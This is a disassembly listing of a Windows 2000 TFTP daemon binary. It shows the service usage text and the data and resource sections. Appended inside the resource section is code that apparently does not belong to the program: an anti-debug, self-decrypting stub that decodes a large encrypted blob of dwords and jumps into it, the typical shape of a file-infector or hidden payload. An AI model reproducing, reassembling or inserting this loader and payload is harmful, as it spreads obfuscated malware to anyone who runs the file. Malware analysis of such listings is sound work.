		db ' This implements an RFC 783 tftp daemon.                         '
		db '         ',0Ah
		db ' It listens on port 69 for requests                              '
		db '         ',0Ah
		db ' and spawns a thread to process each request.                    '
		db '         ',0Ah
		db '                                                                 '
		db '         ',0Ah
		db 'TFTPD USAGE and Installation:                                    '
		db '         ',0Ah
		db '                                                                 '
		db '         ',0Ah
		db '  md d:/tftpd                                     (the StartDirec'
		db 'tory).   ',0Ah
		db '  copy //MohsinA_p90/test/tftpd.exe .                            '
		db '         ',0Ah
		db '  sc create tftpd binPath= d:/tftpd/tftpd.exe     (give full path'
		db ').       ',0Ah
		db '  sc query tftpd                                  (check if insta'
		db 'lled).   ',0Ah
		db '                                                                 '
		db '         ',0Ah
		db 'Start:                                                           '
		db '         ',0Ah
		db '    sc start tftpd -f                             (creates a log '
		db 'file).   ',0Ah
		db 'or  sc start tftpd                                               '
		db '         ',0Ah
		db 'or  net start tftpd                                              '
		db '         ',0Ah
		db 'or  sc start tftpd [-dStartDirectory] [-e] [-f]                  '
		db '         ',0Ah
		db '    Options: -e  use event log.                                  '
		db '         ',0Ah
		db '             -f  log to file.                                    '
		db '         ',0Ah
		db '             -dStartDirectory                                    '
		db '         ',0Ah
		db 'Info:                                                            '
		db '         ',0Ah
		db '  sc interrogate tftpd           (logs will be updated).         '
		db '         ',0Ah
		db '  sc query tftpd                 Check whether running.          '
		db '         ',0Ah
		db 'Stop:                                                            '
		db '         ',0Ah
		db '  sc  stop tftpd                                                 '
		db '         ',0Ah
		db '  net stop tftpd                                                 '
		db '         ',0Ah
		db '                                                                 '
		db '         ',0Ah
		db 'Variables that control what files can be read/written and by whom'
		db ':        ',0Ah
		db '   StartDirectory - only files there will be accessible.         '
		db '         ',0Ah
		db '                    LogFile is created here.                     '
		db '         ',0Ah
		db '   ValidClients - Clients matching this ip address can read files'
		db '.        ',0Ah
		db '                    eg. you can set it to "157.55.8?.*"          '
		db '       ',0Ah
		db '   ValidMasters   - clients matching this can write and read file'
		db 's.       ',0Ah
		db '                    eg. you can set it to "" and no one can write'
		db '.      ',0Ah
		db '   ValidReadFiles - only matching files will be served out, eg. "'
		db 'r*.t?t"',0Ah
		db '   ValidWriteFiles- only matching files will be accepted,  eg. "w'
		db '*.txt" ',0Ah
		db '                                                                 '
		db '         ',0Ah
		db 'Client:                                                          '
		db '         ',0Ah
		db '  tftp [-i] servername {get|put} src_file dest_file              '
		db '         ',0Ah
		db '  -i from binary mode, else ascii mode is used.                  '
		db '         ',0Ah
		db '                                                                 '
		db '         ',0Ah
		db ' ================================================================'
		db '======== ',0Ah,0
		align 8
; char ServiceName[]
ServiceName	db 'Tftpd',0            ; DATA XREF: sub_1001665+Bo
					; .data:ServiceStartTableo
		align 10h
; SERVICE_TABLE_ENTRYA ServiceStartTable
ServiceStartTable SERVICE_TABLE_ENTRYA <offset ServiceName, offset sub_1001665>
					; DATA XREF: sub_1001570:loc_1001646o
					; "Tftpd"
		align 10h
off_1005CC0	dd offset aErrorUndefined ; DATA XREF: sub_100230A+73r
					; "Error undefined"
		dd offset aFileNotFound	; "File	not found"
		dd offset aAccessViolatio ; "Access violation"
		dd offset aDiskFullOrAllo ; "Disk full or allocation exceeded"
		dd offset aIllegalTftpOpe ; "Illegal TFTP operation"
		dd offset aUnknownTransfe ; "Unknown transfer ID"
		dd offset aFileAlreadyExi ; "File already exists"
		dd offset aNoSuchUser	; "No such user"
		dd offset aOptionNegotiat ; "Option negotiation	failure"
		align 8
; BYTE Data
Data		db 2Ah			; DATA XREF: sub_1002F31+143o
					; sub_10037BF+87o
		align 4
		dd 0Dh dup(0)
; BYTE byte_1005D20
byte_1005D20	db 2Ah			; DATA XREF: sub_1002F31+154o
					; sub_100333A+163o ...
		align 4
		dd 0Dh dup(0)
; BYTE byte_1005D58
byte_1005D58	db 2Ah			; DATA XREF: sub_1002F31+165o
					; sub_10037BF+EAo
		align 4
		dd 0Dh dup(0)
; BYTE byte_1005D90
byte_1005D90	db 2Ah			; DATA XREF: sub_100333A+178o
					; sub_10037BF+11Ao
		align 4
		dd 0Ch dup(0)
dword_1005DC4	dd 1				align 10h
; FILE *File
File		dd 0			; DATA XREF: sub_1001665+1E5w
					; sub_1001E73:loc_1001F36r ...
dword_1005DD4	dd 0		dword_1005DD8	dd 0							; sub_1001665:loc_100182Er ...
; HANDLE hHandle
hHandle		dd 0			; DATA XREF: sub_1001665+84w
					; sub_1001665+8Br ...
; HANDLE hObject
hObject		dd 0			; DATA XREF: sub_1001665+91w
					; sub_1001E73:loc_1001F0Cr ...
		align 8
; volatile LONG	Addend
Addend		dd 0			; DATA XREF: sub_1001A91+26Eo
					; sub_1001A91+2B3o
; HANDLE hHeap
hHeap		dd 0			; DATA XREF: sub_10019F0+29w
					; sub_1001A1F+52r ...
dword_1005DF0	dd 0							; sub_1001A1F+5Ew ...
dword_1005DF4	dd 0							; sub_1001A91+59w ...
dword_1005DF8	dd 0							; sub_10018DB+EFr
dword_1005DFC	dd 0		; HANDLE Handle
Handle		dd ?			; DATA XREF: sub_10018DB+F4o
					; sub_1002219+D5o
		db 3 dup(?)
dword_1005E07	dd ?							; sub_1003910+6Br ...
		align 4
		dd 7Ch dup(?)
dword_1005FFC	dd ?		dword_1006000	dd ?		dword_1006004	dd ?		dword_1006008	dd ?		dword_100600C	dd ?				dd 4 dup(?)
; struct _RTL_CRITICAL_SECTION stru_1006020
stru_1006020	_RTL_CRITICAL_SECTION <?> ; DATA XREF: sub_10018DB+14o
					; .text:01001D78o ...
; void *Memory
Memory		dd ?			; DATA XREF: sub_10018DB+2Ao
					; sub_10018DB+34w ...
dword_100603C	dd ?		; HANDLE hThread
hThread		dd ?			; DATA XREF: HandlerProc:loc_1001E1Dr
					; HandlerProc:loc_1001E35r
; SERVICE_STATUS_HANDLE	hServiceStatus
hServiceStatus	dd ?			; DATA XREF: sub_1001665+52w
					; sub_1001665+DBr ...
dword_1006048	dd 6 dup(?)	; struct _RTL_CRITICAL_SECTION stru_1006060
stru_1006060	_RTL_CRITICAL_SECTION <?> ; DATA XREF: sub_10019F0+5o
					; sub_1001A1F+2o ...
; LPVOID lpMem
lpMem		dd ?			; DATA XREF: sub_10019F0o
					; sub_10019F0+Fw ...
dword_100607C	dd ?		; struct _RTL_CRITICAL_SECTION CriticalSection
CriticalSection	_RTL_CRITICAL_SECTION <?> ; DATA XREF: sub_10018DB+Do
					; sub_100287F+1o ...
dword_1006098	dd ?							; sub_10018DB+25w ...
dword_100609C	dd ?		dword_10060A0	dd ?							; sub_10018DB+A2r ...
		dd 7 dup(?)
; time_t Time
Time		dq ?			; DATA XREF: sub_1001665+10Ao
					; sub_1001665:loc_1001857o ...
dword_10060C8	dd ?		dword_10060CC	dd ?				dd 0Ch dup(?)
; struct _OVERLAPPED overlapped
overlapped	_OVERLAPPED <?>		; DATA XREF: sub_10018DB+E0o
					; sub_1002219:loc_10022E9o
		align 10h
; struct _SERVICE_STATUS ServiceStatus
ServiceStatus	_SERVICE_STATUS	<?>	; DATA XREF: sub_1001665+10w
					; sub_1001665+63o ...
		align 10h
; struct WSAData stru_1006140
stru_1006140	WSAData	<?>		; DATA XREF: sub_1001665+9Co
dword_10062D0	dd ?		dword_10062D4	dd ?		dword_10062D8	dd ?				align 200h
_data		ends

; Section 3. (virtual address 00007000)
; Virtual size			: 00011800 (  71680.)
; Section size in file		: 0000C200 (  49664.)
; Offset to raw	data for section: 00004800
; Flags	F0000060: Text Data Shareable Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_rsrc		segment	para public 'CODE' use32
		assume cs:_rsrc
		;org 1007000h
		assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
		dd 3 dup(0)
		dd 10000h, 10h,	80000018h, 3 dup(0)
		dd 10000h, 1, 80000030h, 3 dup(0)
		dd 10000h, 409h, 48h, 7060h, 374h, 4 dup(0)
		dd 340374h, 560000h, 5F0053h, 450056h, 530052h,	4F0049h
		dd 5F004Eh, 4E0049h, 4F0046h, 0
		dd 0FEEF04BDh, 10000h, 50000h, 8560001h, 50000h, 8560001h
		dd 3Fh,	0
		dd 40004h, 1, 3	dup(0)
		dd 2D4h, 530001h, 720074h, 6E0069h, 460067h, 6C0069h, 490065h
		dd 66006Eh, 6Fh, 2B0h, 300001h,	300034h, 300039h, 420034h
		dd 30h,	16004Ch, 430001h, 6D006Fh, 610070h, 79006Eh, 61004Eh
		dd 65006Dh, 0
aMicrosoftCorpo:
		unicode	0, <Microsoft Corporation>,0
aR:
		unicode	0, <r%>
		dd 460001h, 6C0069h, 440065h, 730065h, 720063h,	700069h
		dd 690074h, 6E006Fh, 0
aTcpIpTrivialFi:
		unicode	0, <TCP/IP Trivial file	transfer daemon.>,0
		align 4
a8		db '8',0
		dw 0Ch
		dd 460001h, 6C0069h, 560065h, 720065h, 690073h,	6E006Fh
		dd 0
a5_00_2134_1:
		unicode	0, <5.00.2134.1>,0
a4_0:
		unicode	0, <4>
		dw 0Ah
		dd 490001h, 74006Eh, 720065h, 61006Eh, 4E006Ch,	6D0061h
		dd 65h,	660074h, 700074h, 2E0064h, 780065h, 65h, 280074h
		dd 4C0001h, 670065h, 6C0061h, 6F0043h, 790070h,	690072h
		dd 680067h, 74h, 6F0043h, 790070h, 690072h, 680067h, 200074h
		dd 430028h, 200029h, 69004Dh, 720063h, 73006Fh,	66006Fh
		dd 200074h, 6F0043h, 700072h, 20002Eh, 390031h,	310038h
		dd 31002Dh, 390039h, 39h, 0A003Ch, 4F0001h, 690072h, 690067h
		dd 61006Eh, 46006Ch, 6C0069h, 6E0065h, 6D0061h,	65h, 660074h
		dd 700074h, 2E0064h, 780065h, 65h, 2F007Eh, 500001h, 6F0072h
		dd 750064h, 740063h, 61004Eh, 65006Dh, 0
aMicrosoftRWind:
		unicode	0, <Microsoft(R) Windows (R) 2000 Operating System>,0
		align 4
		db '<',0
		dw 0Ch
		dd 500001h, 6F0072h, 750064h, 740063h, 650056h,	730072h
		dd 6F0069h, 6Eh, 2E0035h, 300030h, 32002Eh, 330031h, 2E0034h
		dd 31h,	44h, 560001h, 720061h, 690046h,	65006Ch, 6E0049h
		dd 6F0066h, 0
		dd 40024h, 540000h, 610072h, 73006Eh, 61006Ch, 690074h
		dd 6E006Fh, 0
		dd 4B00409h, 50Bh dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		call	sub_1008817
		call	sub_100889C
		mov	ebp, 0		; DATA XREF: sub_1008817+6w
		jmp	loc_1008858

; =============== S U B	R O U T	I N E =======================================



sub_1008817	proc near		; CODE XREF: .rsrc:01008803p
		push	dword ptr fs:0
		xor	dword ptr ds:loc_100880D+1, ebp
		mov	fs:0, esp
		xor	edx, edx
		push	edx
		push	80000000h
		push	2000h
		push	edx
		push	2
		push	1
		push	edx
		push	80000000h
		push	80000000h
		push	80000000h
		push	edx
		call	ds:GetLastError


loc_1008858:				; CODE XREF: .rsrc:01008812j
		mov	edi, [ebp-8]
		mov	fs:0, edi
		sub	edi, edi
		sub	ecx, ecx
		mov	cl, 0A5h


loc_1008867:				; CODE XREF: sub_1008817+51j
		inc	edi
		loop	loc_1008867
		call	$+5
		pop	ebx
		sub	ebx, 0FFFFFFC6h
		push	ebx
		xor	edx, edx
		xor	edx, 289Ch


loc_100887F:				; CODE XREF: sub_1008817+7Cj
		mov	al, [ebx]
		cld
		sub	ax, di
		mov	[ebx], al
		inc	ebx
		add	di, 0A7h
		sub	edx, 1
		cmp	edx, 0
		ja	short loc_100887F
		pop	ebx
		leave
		jmp	ebx
sub_1008817	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_100889C	proc near		; CODE XREF: .rsrc:01008808p

arg_C		= dword	ptr  10h

		mov	edx, [esp+arg_C]
		xor	eax, eax
		pop	dword ptr [edx+0B8h]
		retn
sub_100889C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8Dh,	4Ch, 0F3h
		dd 1AE0419Ah, 0B480013Ah, 0C74F486Ah, 0ED3C0C6Eh, 0FF58B132h
		dd 26744DA6h, 0AB940D9Eh, 83B5DE0Bh, 6FC8504Dh,	0E2E44C6Dh
		dd 270059E1h, 43C48306h, 0ECAD79EAh, 0A363C589h, 72FBC922h
		dd 9E3F64C0h, 0DF408C62h, 0EA449D1Eh, 123594C5h, 47E85616h
		dd 0BF66CFCEh, 60A18E66h, 8250DF12h, 20F0691Ah,	65C07DEFh
		dd 0CB2436D6h, 0BB31972h, 35C03F6h, 87C0DCAAh, 3B94ED8Dh
		dd 0EEA44A0Dh, 73CD25BBh, 0E4ED4E1Ah, 220493C6h, 37F0835Ch
		dd 0E33CC7D6h, 76171C8Ah, 51AC5CABh, 0B71069C2h, 0E0CA79DEh
		dd 258034AFh, 0AF60C896h, 0B2257D36h, 0F95B4D83h, 3B759C6Ah
		dd 8654E345h, 0CD2F1D3Fh, 424F423Eh, 5970440Bh,	927ED668h
		dd 1790B912h, 853C2BB0h, 0B261B443h, 2ACB5DBEh,	0FB9664FBh
		dd 9747CE8Eh, 0BF2B62EAh, 908C9DAFh, 3A0BE489h,	742A1169h
		dd 48521AAh, 834C18FAh,	0F9B39C5Dh, 0DB2E9036h,	4C81B4D5h
		dd 0DC124091h, 0C79C3BD2h, 6B65FE5Bh, 0D08320C7h, 0ED61A162h
		dd 4A650254h, 4EB8F10Fh, 8259C5C4h, 3FC36CC1h, 0F372A4E8h
		dd 873F10E9h, 57F39429h, 2B3C4D5Ah, 0BA57F5DDh,	51D58D3Bh
		dd 5F55EDB6h, 0A482FC01h, 0ED132B8Fh, 93A1DDC6h, 0A1237182h
		dd 30D04E23h, 0B53DDFBFh, 3694660Ah, 0C4C93701h, 0FB021844h
		dd 0B7C8E602h, 7A95CA6h, 8333B29Eh, 1AAE3FE3h, 60BC96Ch
		dd 3DF90E4Ch, 730771Dh,	0DBEC0051h, 1BA7F94Fh, 7213B489h
		dd 29B53072h, 50DCE309h, 81DB8FAh, 0C3546579h, 15254F7Fh
		dd 0AF81DEEEh, 965C4EB9h, 0C0F2557Ch, 0EF362600h, 0A034525Dh
		dd 6E538970h, 18ACAAD9h, 62F001E8h, 71C1F573h, 0FCEB798Ah
		dd 131A4A92h, 4F857402h, 8B9CA3B3h, 7ADDAF31h, 4141B28h
		dd 0DAFE966Bh, 0D0099DC4h, 377E6E7Eh, 50815E39h, 0AFF60C1Ch
		dd 0F9946D2Fh, 0E638495Dh, 0BE6E9AE5h, 87F1C1A8h, 0FF08C7Dh
		dd 0A228394Ah, 93FE094Dh, 8F7874C5h, 0D4546D6Eh, 1D43EBBFh
		dd 72888DF6h, 7F6AA1B2h, 168EF2BDh, 378D1900h, 0B56259E5h
		dd 0FC1791A2h, 14C4DF3h, 80D7941Ah, 0A3B4D0A3h,	4F706E13h
		dd 90A93D64h, 0D71E0BBDh, 0B5531A99h, 0DA805D05h, 0DE14578Ah
		dd 3C55C23Ah, 838AC0C3h, 1BCB0C05h, 991C74A7h, 9F1FF5B1h
		dd 738595A9h, 4A02E6F1h, 0AF7F0D34h, 0B6784EBAh, 6376241Ah
		dd 1F0AD852h, 0DB84FEE8h, 7F28B9CEh, 53657586h,	2AE2C6D1h
		dd 8B61ED14h, 891A2DB9h, 436E6576h, 0FF108962h,	0BB66DDF2h
		dd 2E8401EBh, 0DB9456C0h, 0EF011123h, 867E622Dh, 71D08970h
		dd 42344656h, 0F51B4387h, 9BB165CEh, 841798Ah, 0BD243548h
		dd 0D9434A02h, 0CBB798h, 478EA4D0h, 86D75611h, 0D5FB433Fh
		dd 0FF8B9DAEh, 37485B3Eh, 0F3041BFEh, 0F3941FE2h, 0A7CD95Ah
		dd 3D6347CFh, 31699216h, 0B2B0F7C9h, 25D90AC7h,	0A8286F15h
		dd 697C8804h, 12A0B1C4h, 21472B0Bh, 8B17293Ah, 0C3D4E7F6h
		dd 9ACE262Dh, 4B7B5D84h, 5D8DA82Bh, 3EC4CBFDh, 85AB7727h
		dd 2CEC0C5Eh, 0FF2B8E99h, 282FC5ECh, 5FA6BC44h,	0AA2D6D9Dh
		dd 0ED10338Fh, 0C92140C6h, 3260A74Dh, 0CCDEC28h, 0DF1F6E79h
		dd 100FA5CCh, 3F869C20h, 0C3B2691h, 6B4D68EBh, 9B848BAEh
		dd 2F4052AAh, 0C7D08A9Bh, 0F633C9B0h, 9C2A85F0h, 0A234B1E1h
		dd 1B86006Fh, 81FF32CDh, 0E06C1F86h, 25350C97h,	0CBE566FEh
		dd 8B15A9BAh, 6203A3B3h, 8CAB87C1h, 0BBCC2AF2h,	22EE99AAh
		dd 9E481CE3h, 647DF5F4h, 0ABB2C8DEh, 69F16FF6h,	65B7B0BCh
		dd 6A65E314h, 0C3ACE702h, 5768689Eh, 133E81C1h,	0CFBAB57Dh
		dd 8B9CAD96h, 0F8985372h, 0B312CF68h, 0DA1A7681h, 0FE549DC4h
		dd 8BA019AEh, 7E041585h, 3AC03B96h, 953CB7DAh, 0D93A335Ah
		dd 0F70C0570h, 9B0C1F1h, 0FA06CE8Eh, 79BDB8FAh,	92E4EB11h
		dd 9E0F36EBh, 4B5D7402h, 7CDB63Ah, 1CD4DBE6h, 7F90AC3Fh
		dd 0A07F0CE9h, 0E70886ABh, 3841D5FCh, 6FB6A56Bh, 5F0CEDADh
		dd 465229B4h, 7E4E5AA5h, 1FF58168h, 0C32072FDh,	0D7E8FABAh
		dd 93A4C69Eh, 9345C482h, 32D14F23h, 9D31DBAAh, 2AB9510Fh
		dd 27276197h, 0FB0C22DFh, 0D6108EF9h, 0E83395BCh, 2F768C80h
		dd 0BD91CCD5h, 91B8FFA5h, 82762F96h, 355BA3C7h,	0DCC4760Eh
		dd 0C23FB9CAh, 3760FE67h, 848F8876h, 0CBD2E8A4h, 2C1B1F8Dh
		dd 434A61B8h, 0DEE77532h, 91B74763h, 4B481EAAh,	51C71BCCh
		dd 0CE5E8326h, 0D5B4B1B2h, 0C692739Ah, 0F91FA7CBh, 33308612h
		dd 24C450FAh, 6A68798Fh, 0EDC7C6FFh, 0EBA276CBh, 5D51ADD4h
		dd 6B7C65FBh, 9646D899h, 80510906h, 7B8CAB16h, 0ED982D1Ah
		dd 0A654E557h, 0CA8A6671h, 2B018DB4h, 86373D03h, 72ECE96Ah
		dd 0B5DC0357h, 0F8B1258Eh, 767BB859h, 0A9CFE77Bh, 101E9CC2h
		dd 4B5D55C2h, 7C07003Ah, 0C3CAE008h, 9AC23641h,	63655D84h
		dd 0F7F79835h, 5DC47F10h, 0D980FBA2h, 2B3D755Eh, 2B73091Eh
		dd 4D04C530h, 3EB40C8Eh, 5AD493B0h, 0EAE8F9DEh,	0B26EDD7Fh
		dd 0C4DD7011h, 0B1242F6h, 7729BAACh, 5E8A3A85h,	3D36148h
		dd 4489E04Eh, 6F10B1EAh, 7363C9A6h, 2F3EB462h, 0EBFC0E1Eh
		dd 0A7B8C9DAh, 63748596h, 1F48D052h, 0DBECFD0Eh, 4AFE8ACAh
		dd 2E520A55h, 48BB3118h, 0E01C719Ah, 0CA760BC5h, 3C89FAF3h
		dd 0DEE22108h, 91B77363h, 2F0D22AAh, 5B444B75h,	0EF001118h
		dd 0D65BFC9Ah, 39C8792Fh, 0CF4DFBAFh, 15D56837h, 0C061E9AFh
		dd 0B6B8794Bh, 0E90F33BBh, 0B657A02h, 4E9CA3CDh, 1AB92B26h
		dd 0B035F39Bh, 218F4517h, 8F2FC288h, 0B9E35FDh,	8727BA59h
		dd 3B33DE2h, 9921B970h,	0CAA0C5Ah, 0A919B977h, 0E0952DEBh
		dd 801EC08Eh, 0DD8D2DEBh, 0A009A15Fh, 0F89021E3h, 4B1D945Ch
		dd 0E87D1BFDh, 55248A4Ah, 0D27504D1h, 7E4C9E41h, 0CB69FEBCh
		dd 60E9A74Bh, 0A36505C1h, 4CE17F36h, 0B93B09BEh, 48E8663Bh
		dd 0C462E9C6h, 5E2C612Fh, 0AB49DE9Ch, 42C3892Bh, 0BB45D99Eh
		dd 3E0E200Eh, 9A48CA98h, 83C8540Eh, 9329D9B7h, 20BE45E2h
		dd 7DC8BD8Bh, 27A941FFh, 6325BE7Bh, 0FEA560FDh,	5B15AE6Eh
		dd 639932EFh, 8415B398h, 0ED8E26CAh, 9711AB6Bh,	19981ACDh
		dd 50059D5Bh, 0F48E21D2h, 6C0C9E5Ch, 0A5426C9h,	68D69557h
		dd 0E49F02CAh, 3E887E34h, 0DC8A09CBh, 58D4763Eh, 0F2BCF2BBh
		dd 56B57D3Fh, 0C850FABAh, 43CE624Ah, 9B6DE2AAh,	0BDC5E51h
		dd 0D954E2ABh, 1DC55D1Bh, 0CC41DA9Fh, 1BBD307Ah, 9331CA6Ah
		dd 27C44222h, 0A0539D6Fh, 9AD2FFEh, 0A123BE79h,	3A518E2h
		dd 7E2EB254h, 0EC9638F3h, 0AAF4C65Eh, 0E8635F7h, 8009B26Ah
		dd 68E2703h, 6705A258h,	0D07E20DBh, 6CFBB97Eh, 0E971F5DEh
		dd 5C068648h, 0E04DA1F3h, 60E5B33Eh, 0BD6EE8C1h, 0B3E9813Fh
		dd 0DD6501E1h, 50D87624h, 0B768EAD7h, 64DB732Fh, 0C460D092h
		dd 4ADE8D2Ch, 0AA5BDEADh, 42D685C6h, 0A253D6A5h, 34E21F51h
		dd 0C74CDC8Ch, 26B357E6h, 5243D497h, 13B16B40h,	9C1BD97Eh
		dd 1F9D5BFAh, 83349287h, 9E36F0h, 682BAE6Eh, 0F7995896h
		dd 840CAA98h, 8926C2h, 7C048CCAh, 66425EBh, 7414A44Bh
		dd 0F87541DBh, 4DF77D5Fh, 0F77911CFh, 0FFF58E4Bh, 0DC690BA3h
		dd 5CE16F3Ah, 0F96A24BDh, 0EFE57D3Bh, 0BF6EF694h, 28D46A2Fh
		dd 0C653F1B2h, 48E25812h, 0C472E2A2h, 25685E26h, 0BD48F69Ah
		dd 0FFD46417h, 0B452D690h, 2CBF4E16h, 0AE33F989h, 0DD04F17h
		dd 0A03EE082h, 0FDAD4D0Bh, 0F329C17Fh, 1834520h, 9030AE83h
		dd 0A973B0Ah, 0E327B87Bh
		dd 0F1733510h, 80209E73h, 0FA872BFAh, 9817A86Bh, 0E35EB1CAh
		dd 6C019F41h, 0EC6B0ECEh, 72ED9959h, 0D34EA1D0h, 5CF18F31h
		dd 0CA5DFEBEh, 4514874Bh, 0C265F4C1h, 3FFA4D31h, 9D68EAD7h
		dd 72EB6A2Fh, 0C255D4B8h, 49CB6622h, 0A65CC70Ah, 59C25A16h
		dd 4F45DD9Bh, 1BDB61FCh, 9928D79Fh, 16B94815h, 0AA2FB585h
		dd 490C4B13h, 9C38A87Eh, 16A96804h, 9D1FBA76h, 1BB05B1Eh
		dd 8C2CB86Ch, 0CCA39F9h, 8025B564h, 8914AEAh, 9711AB69h
		dd 0E8B529C4h, 5809A367h, 0DD7B13DCh, 700C8A57h, 0F2A813D5h
		dd 0FFEE864Dh, 0CDA311ACh, 2DED8D43h, 0C87807BFh, 54BD7D43h
		dd 0C46EFCBBh, 53EC5B9Ah, 0C64DF38Bh, 12D56531h, 0C945EFA2h
		dd 18C74D31h, 0C63DE8A4h, 3DB96316h, 0BE73ADA5h, 28CC3C3Bh
		dd 9349D988h, 2EAC44F2h, 0AA3FC281h, 0BAD440Dh,	0A123B826h
		dd 3A33600h, 7F21B49Eh,	0FBAB38F2h, 8412BE78h, 0F1B026EFh
		dd 5B22A073h, 0FB861EDDh, 7603A806h, 8F9416DDh,	70109B37h
		dd 0DB7D17CCh, 56F39139h, 0ED71E9D7h, 3BF18952h, 0DC7C07E3h
		dd 47E98338h, 0B274F6E9h, 50DA7B3Dh, 0CB5DFDBDh, 37D57909h
		dd 0CD2981B7h, 49DE6222h, 0A727EDAFh, 93E5632Bh, 0B454DFBBh
		dd 1FC15B10h, 0B53DD9B9h, 44B057EBh, 932EAA72h,	20AA4F13h
		dd 982DAB7Eh, 1F9D5B0Ah, 73015187h, 34CC4ED4h, 6BD6FBADh
		dd 157451D2h, 8BF3A877h, 269130EDh, 49A8B26Fh, 0E3A31CEBh
		dd 74DB9F67h, 0C8432C7h, 6EFD7BBAh, 0D5791AA7h,	6BF1773Bh
		dd 0D39102C3h, 5CDA996Bh, 0C76928CDh, 44DC7258h, 0EC6412C3h
		dd 0BDAB5F9Ah, 0D98A47B0h, 0E0CAD58Dh, 935E7C80h, 13FDF840h
		dd 9E242B55h, 5B647C6h,	9BCB036Eh, 91EDE862h, 86141B41h
		dd 819EF1B6h, 0C4099DA6h, 0E8008475h, 0F304157Eh, 0D37C5E7Ah
		dd 957CB7A1h, 0DA881A5Fh, 2F6F0A70h, 0CF044C02h, 8C2CA742h
		dd 8C170CFCh, 0D3DAF0D8h, 6E9C7545h, 214727F3h,	0FDCAC3Ah
		dd 0C36972B9h, 9290D77Dh, 6D4C87A7h, 90849C2h, 648860E6h
		dd 9F40FBD3h, 0AE44770Fh, 0D14C115Ah, 186395D4h, 5FA6BC30h
		dd 0EE0C01D1h, 0E6A87E3Ch, 0CD5BF72Fh, 12A294AAh, 0B34B20F5h
		dd 26C7683Bh, 83F929B5h, 0A7206172h, 0FB0C4C82h, 0B7222D65h
		dd 339EE121h, 1F40517Ah, 1DFE371Eh, 0FB10C974h,	0D7485F5h
		dd 4F039252h, 0B60E925Dh, 50F7B9A0h, 2E560A55h,	0EEA53118h
		dd 58571ED2h, 87CEBE3Ah, 0B8D17159h, 0FF463132h, 0EEA3AEF1h
		dd 0FC03EBB9h, 333A5024h, 1665A09Fh, 96D4CDDEh,	0F26708A9h
		dd 0F91F6BDBh, 0F16F8E12h, 43ACBDE6h, 0B657F874h, 0EEF6BAC1h
		dd 5E5DF1D8h, 8B9C95C7h, 0A6477292h, 3999B005h,	44D017BDh
		dd 86CD1EEh, 37601FE9h,	11B83D26h, 343BD071h, 6B7288CCh
		dd 32AC89DFh, 0CB479493h, 5E08C1D2h, 0E69B3CDCh, 0CCEB1891h
		dd 0D3E4F5DEh, 7C210EC2h, 4B528872h, 8C95720Dh,	0C3CA035Eh
		dd 0B061F5E3h, 0DA1DAE1Eh, 0D33F79Fh, 97C85CE6h, 8AB22631h
		dd 0ED094D74h, 4F4D091Eh, 0A3B4C5D6h, 0A2CD02BFh, 452C3339h
		dd 0E57D8619h, 43A4ABB1h, 73803EB4h, 8E1C173Eh,	0E3EF53Eh
		dd 599F793Bh, 6702E72h,	0D11773B3h, 0E1C8FDEAh,	1D4772A6h
		dd 3898A94Ch, 78FC0D1Eh, 552AA9Ch, 0A6243A4Fh, 3BECD66Bh
		dd 5FF1FD24h, 20EAC1C2h, 295041FBh, 0D2822842h,	0CBDC95B3h
		dd 8E5A9BAh, 195F0253h,	2F9DAC32h, 3ECCD3FAh, 7780BD36h
		dd 33ADD965h, 0DB811122h, 0ABBCCFD6h, 687C714Eh, 98E34556h
		dd 0DF263C98h, 1F297949h, 57697D6Eh, 133E0546h,	0CFE0F59Ah
		dd 0BD6E03BEh, 0BC47407Ah, 30A20B8h, 364DAAC5h,	7B8C9EB2h
		dd 39A22A1Bh, 9B05BF57h, 0EFC0D1E2h, 0B9114C50h, 9D387F25h
		dd 9E283B9Bh, 0A3881502h, 926C7D8Fh, 374CED59h,	0F2E4F508h
		dd 0A5CCDF37h, 0BE1C67Eh, 0FBFB3FCEh, 6DA87026h, 0B661F3B2h
		dd 1E11C24h, 0B0084FF5h, 0E3F9156Bh, 811590D8h,	0B83C4369h
		dd 9E4ACDD1h, 30FC8930h, 5F718509h, 0DB1FA84Eh,	2A3109A4h
		dd 43F48561h, 7F30C1B2h, 41B1ECF0h, 48D81FC5h, 8396AD7Ah
		dd 63446072h, 0F9A1DC26h, 6AC80FB6h, 4F922A75h,	0F10D5138h
		dd 0C97C0D22h, 6DB9BED4h, 58A01211h, 18934128h,	0CBEC928Bh
		dd 0C8ABB9A0h, 0D736B4BCh, 0E984002h, 0DADCEDFFh, 8799B93Eh
		dd 1D42E576h, 7FD63147h, 3FCBDDFCh, 77889AABh, 0C82453E6h
		dd 0D8157B3h, 0F27A168Eh, 0B6F34B2Fh, 0F2350B1Ch, 49C1CFEDh
		dd 0CE820ECEh, 737E0E99h, 0EE6D355Ch, 8E6500C3h, 189CADBEh
		dd 5D66F5FFh, 0AB14CF36h, 0BFD0E1EEh, 0F0BBF05Eh, 377E9560h
		dd 0F3042133h, 4E45E0E2h, 147C8D9Eh, 273849ABh,	95440397h
		dd 24AF170Bh, 5B6C7D33h, 0C3207FCDh, 57E30212h,	8FA0B12Bh
		dd 0DE114D8Ah, 16426596h, 0C3D4717Bh, 9F8D4EB2h, 182C3D8Eh
		dd 0CB6D000Bh, 8F20943Bh, 0F06C0682h, 531C0C2Ch, 0B86DFDAEh
		dd 33B78357h, 0B48FB05Ch, 0BAF30326h, 7119080Ah, 93A49CB6h
		dd 2E325319h, 0E107A3B3h, 77981CFAh, 0ABE475E6h, 3F50616Bh
		dd 29C34CF2h, 9B29C886h, 5919D4A6h, 0B440872Eh,	0BEF2415Eh
		dd 573D5213h, 14747BA2h, 1F32416Ah, 11BD4E8Eh, 0C13D387Ah
		dd 0E0646B92h, 252BC8B7h, 94CF3DFEh, 39E87A6Eh,	0B80336A7h
		dd 0FF465C60h, 5AB0E175h, 8DB3CB1Fh, 0B3078D66h, 515809Fh
		dd 6EE5CEDEh, 68D28A34h, 0B6E33825h, 64050016h,	6E76F10Eh
		dd 0EA3804B5h, 0EF743841h, 0CC8BA67Fh, 0E517ADD4h, 47586A76h
		dd 40CAFB1h, 97D3E1F2h,	62C68C9h, 18EECCA5h, 154B1A7Ah
		dd 32DEBC77h, 0F64F9CE5h, 5BB32096h, 0A30ED946h, 7E8A1303h
